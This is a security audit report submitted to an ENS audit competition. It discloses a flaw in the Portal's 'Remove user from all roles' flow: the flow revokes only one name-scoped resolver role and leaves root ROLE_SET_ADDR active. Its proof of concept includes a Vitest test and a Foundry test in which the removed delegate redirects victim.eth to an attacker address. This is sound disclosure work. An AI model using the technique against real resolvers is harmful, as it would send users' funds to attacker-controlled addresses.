89387 w a critical remove user from all roles leaves root resolver authority active enabling ens address redirection
Submitted on Aug 19th 2026 at 00:18:07 UTC by @Avicoh for Audit Competition | ENS
- Report ID: #89387
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as:
- resolving or rendering an ENS name to an attacker-controlled address
- showing the wrong recipient or amount on a transaction the user then approves
- Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address
- Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as:
Description
Brief / Intro
The Portal confirms "Remove user from all roles" but, when one account has both root-wide and name-scoped resolver roles, it constructs a transaction that revokes only one name-scoped resource. The transaction succeeds while the account's root authority remains active. A supposedly removed delegate retaining root ROLE_SET_ADDR can then change address records for every name using that resolver and redirect ENS resolution to an attacker-controlled address.
Vulnerability Details
Resolver permissions are scoped by both account and EAC resource (root, one name, another name). The Portal loses that distinction:
Grouping loses resource scope
apps/portal/src/lib/roles/resolverRoles.ts:179-220 groups entries only by lower-cased account. Lines 201-204 append roles and resolved names from every resource into one editable row.
The sidebar selects only one target
ResolverRolesSidebar.tsx:165-169 receives the merged row and chooses one target:
const roleName = resolvedNames.find((n) => n !== '(root)') ?? ''
If the row contains root plus any name resource, roleName is non-empty and the root scope is discarded.
Removal creates one name-scoped action
ResolverRolesSidebar.tsx:307-322 creates one remove action using that one name and the union of every role in the merged row.
The UI represents this as complete removal
The UI labels this operation Remove user and the confirmation states: "Are you sure you want to remove this user from all roles?" The transaction modal does not disclose the selected resource; it says only Remove user <account>.
The selected name is forwarded to name-scoped revocation
prepareResolverRolesIntent.ts:38-46 forwards the single name to revokeResolverRoles.ts:45-60. Any non-empty name selects name scope and encodes:
authorizeNameRoles(selectedName, mergedRoleBitmap, account, false)
It does not call revokeRootRoles and does not iterate the other resource entries.
The resolver contract behaves correctly and revokes only the supplied resource. Root roles are stored independently and remain effective for record setters. Therefore the Portal transaction succeeds while root authority survives.
Concrete example:
Initial delegate permissions:
root -> ROLE_SET_ADDR
secondary.eth -> ROLE_SET_TEXT
Portal displays one merged user row:
scopes -> (root), secondary.eth
roles -> ROLE_SET_ADDR, ROLE_SET_TEXT
Administrator confirms:
"Remove this user from all roles"
Portal actually encodes:
authorizeNameRoles(
dnsEncode("secondary.eth"),
ROLE_SET_ADDR | ROLE_SET_TEXT,
delegate,
false
)
Result:
name-scoped ROLE_SET_TEXT is removed
root ROLE_SET_ADDR remains active
Impact Details
This is a failed security revocation, not a cosmetic or stale-display issue.
- The connected administrator submits a materially different transaction from the one explicitly represented by the Portal: one resource is revoked while root and all other resources are omitted.
- A terminated, compromised, or malicious delegate remains globally authorized after the administrator completes the definitive removal flow.
- Retained root
ROLE_SET_ADDRallows the removed delegate to replace ETH or other address records for every name using the resolver. Future users can resolve a victim name to the attacker's destination and send funds there. - Other retained root roles can modify text/contenthash records or clear records across all attached names.
This matches the selected Critical impacts: (1) displaying/constructing an incorrect transaction detail that the user then approves, including ENS resolution to an attacker-controlled address, and (2) malicious interaction with an already-connected wallet through modified/omitted transaction arguments.
No phishing, malicious browser, indexer defect, or smart-contract defect is required. The PermissionedResolver is used only to demonstrate the security consequence of the in-scope Portal's incorrect transaction construction.
Known-Issue Distinction
Published QA-01 concerns functional errors after name transfers involving certain role combinations. It expressly states that a demonstrated security consequence, such as a role combination granting authority it should not, is a new finding. This report concerns a different code path (groupRolesByAccount and ResolverRolesSidebar) and proves retained root authority plus a successful post-removal address modification.
References
- Frozen Portal revision:
cda79acaad59711b943fc68207ebb3f1d0ff8596 - Upstream frozen revision:
63772fd872af472ced58b009499355f3430c2a86 apps/portal/src/lib/roles/resolverRoles.ts:179-220apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:165-169,307-322,338-344,441-448apps/portal/src/features/resolver/helpers/prepareResolverRolesIntent.ts:38-46apps/portal/src/features/resolver/helpers/revokeResolverRoles.ts:45-60
Proof of Concept
Preconditions
- A normal PermissionedResolver is controlled by the victim/administrator.
- The same delegate account has root
ROLE_SET_ADDRand a name-scoped role such asROLE_SET_TEXTforsecondary.eth.
This state is reachable through the Portal: the add-user interface offers both Root (all nodes) and individual names, and it permits granting the same account at each scope.
UI and Calldata Reproduction
Open the resolver roles page
Open /resolver/<resolverAddress>/roles as the resolver administrator.
Observe the merged delegate row
Observe that the delegate appears as one row containing (root) and secondary.eth, with the union of both scopes' roles.
Remove the user
Open the row and click Remove user.
Confirm the removal dialog
Confirm the dialog stating that the user will be removed from all roles.
Decode the generated calldata
It is one name-scoped call:
authorizeNameRoles(
dnsEncode("secondary.eth"),
ROLE_SET_ADDR | ROLE_SET_TEXT,
delegate,
false
)
The correct transaction set would include both:
revokeRootRoles(ROLE_SET_ADDR, delegate)
authorizeNameRoles(dnsEncode("secondary.eth"), ROLE_SET_TEXT, delegate, false)
Submit the Portal-generated transaction
It succeeds.
Check the root role
Read hasRootRoles(ROLE_SET_ADDR, delegate): it remains true.
Modify the victim address as the removed delegate
From the supposedly removed delegate, call setAddr(namehash("victim.eth"), attackerAddress) on the resolver.
Resolve the victim name
Resolve victim.eth; it now returns the attacker address.
Runnable Portal Test Using Production Helpers
Copy the following file to apps/portal/src/features/resolver/__research_resolver_role_aggregation.test.ts in frozen revision cda79acaad59711b943fc68207ebb3f1d0ff8596:
import type { ResolverRole } from '@ensdomains/ensjs/public/v2'
import { decodeFunctionData, type Address, type WalletClient } from 'viem'
import { sepolia } from 'viem/chains'
import { prepareResolverRolesIntent } from '@/features/resolver/helpers/prepareResolverRolesIntent'
import {
buildResourceToNameMap,
computeNameResource,
groupRolesByAccount,
resolverRoles,
} from '@/lib/roles/resolverRoles'
const resolverAddress = '0x1111111111111111111111111111111111111111'
const owner = '0x2222222222222222222222222222222222222222'
const delegate = '0x3333333333333333333333333333333333333333'
const name = 'victim.eth'
const rootResource = `0x${'0'.repeat(64)}`
const walletClient = { account: { address: owner }, chain: sepolia } as WalletClient
describe('resolver role aggregation removal', () => {
it('turns Remove user from all roles into a one-name revoke', () => {
const rows = groupRolesByAccount([
{ account: delegate, resource: rootResource,
roleBitmap: `0x${resolverRoles.ROLE_SET_ADDR.toString(16)}` },
{ account: delegate, resource: computeNameResource(name),
roleBitmap: `0x${resolverRoles.ROLE_SET_TEXT.toString(16)}` },
], buildResourceToNameMap([{ name }]))
expect(rows).toHaveLength(1)
expect(rows[0].resolvedNames).toEqual(['(root)', name])
expect(rows[0].decodedRoles).toEqual(['ROLE_SET_ADDR', 'ROLE_SET_TEXT'])
// Exact target-selection expression from ResolverRolesSidebar.
const roleName = rows[0].resolvedNames.find((n) => n !== '(root)') ?? ''
const intent = prepareResolverRolesIntent({
type: 'remove', name: roleName, account: delegate as Address,
roles: rows[0].decodedRoles as ('ROLE_SET_ADDR' | 'ROLE_SET_TEXT')[],
}, resolverAddress, { walletClient, chainId: sepolia.id })
expect(intent?.type).toBe('custom')
if (!intent || intent.type !== 'custom') throw new Error('missing intent')
const decoded = decodeFunctionData({
abi: [{ type: 'function', name: 'authorizeNameRoles',
stateMutability: 'nonpayable', inputs: [
{ name: 'toName', type: 'bytes' },
{ name: 'roleBitmap', type: 'uint256' },
{ name: 'account', type: 'address' },
{ name: 'grant', type: 'bool' },
], outputs: [{ name: 'updated', type: 'bool' }] }],
data: intent.request.data,
})
expect(decoded.functionName).toBe('authorizeNameRoles')
expect(decoded.args?.[0]).toBe('0x0676696374696d0365746800')
expect(decoded.args?.[1]).toBe(resolverRoles.ROLE_SET_ADDR | resolverRoles.ROLE_SET_TEXT)
expect(decoded.args?.[2]).toBe(delegate)
expect(decoded.args?.[3]).toBe(false)
})
})
Run from apps/portal:
pnpm exec vitest run \
src/features/resolver/__research_resolver_role_aggregation.test.ts \
src/lib/roles/resolverRoles.test.ts
Observed result:
Test Files 2 passed (2)
Tests 17 passed (17)
Portal test SHA-256:
3300a03c4989f448987890c82950e0bbbb8674106ddc8440ccf3558b7859ae98
Exact-Contract Impact Test
The following supporting test uses the exact PermissionedResolver source to prove the surviving root role is usable after the Portal-style transaction:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {VerifiableFactory} from "@ensdomains/verifiable-factory/VerifiableFactory.sol";
import {NameCoder} from "@ens/contracts/utils/NameCoder.sol";
import {EACBaseRolesLib} from "~src/access-control/libraries/EACBaseRolesLib.sol";
import {PermissionedResolverLib} from "~src/resolver/libraries/PermissionedResolverLib.sol";
import {PermissionedResolver} from "~src/resolver/PermissionedResolver.sol";
contract ResolverRoleAggregationPoC is Test {
PermissionedResolver internal resolver;
address internal owner = makeAddr("owner");
address internal delegate = makeAddr("delegate");
address internal attackerDestination = makeAddr("attacker-destination");
bytes internal victimName;
bytes internal secondaryName;
bytes32 internal victimNode;
function setUp() external {
VerifiableFactory factory = new VerifiableFactory();
PermissionedResolver implementation = new PermissionedResolver(address(this));
bytes memory initData = abi.encodeCall(
PermissionedResolver.initialize,
(owner, EACBaseRolesLib.ALL_ROLES, new bytes[](0))
);
resolver = PermissionedResolver(factory.deployProxy(
address(implementation), uint256(keccak256(initData)), initData
));
victimName = NameCoder.encode("victim.eth");
secondaryName = NameCoder.encode("secondary.eth");
victimNode = NameCoder.namehash(victimName, 0);
}
function test_portalStyleRemoveAllLeavesRootRoleAndDelegateCanStillReplaceAddress() external {
vm.startPrank(owner);
resolver.grantRootRoles(PermissionedResolverLib.ROLE_SET_ADDR, delegate);
resolver.authorizeNameRoles(
secondaryName, PermissionedResolverLib.ROLE_SET_TEXT, delegate, true
);
// Exact effect of the Portal's one-name "remove all" transaction.
resolver.authorizeNameRoles(
secondaryName,
PermissionedResolverLib.ROLE_SET_ADDR | PermissionedResolverLib.ROLE_SET_TEXT,
delegate,
false
);
vm.stopPrank();
assertTrue(
resolver.hasRootRoles(PermissionedResolverLib.ROLE_SET_ADDR, delegate),
"root role survived the Portal-style remove-all call"
);
vm.prank(delegate);
resolver.setAddr(victimNode, attackerDestination);
assertEq(resolver.addr(victimNode), attackerDestination,
"removed delegate still changed victim address");
}
}
Run from the exact contracts tree:
forge test --match-path test/research/ResolverRoleAggregationPoC.t.sol -vvvv
Observed result:
1 passed; 0 failed; 0 skipped
Exact-contract PoC SHA-256:
5bd0ed0cb71eb0941bcc1543d7617df3e4d9705a72f2ef307245e3d29041e682
Unmodified resolver regression suite:
forge test --match-path test/unit/resolver/PermissionedResolver.t.sol -vv
# 69 passed; 0 failed; 0 skipped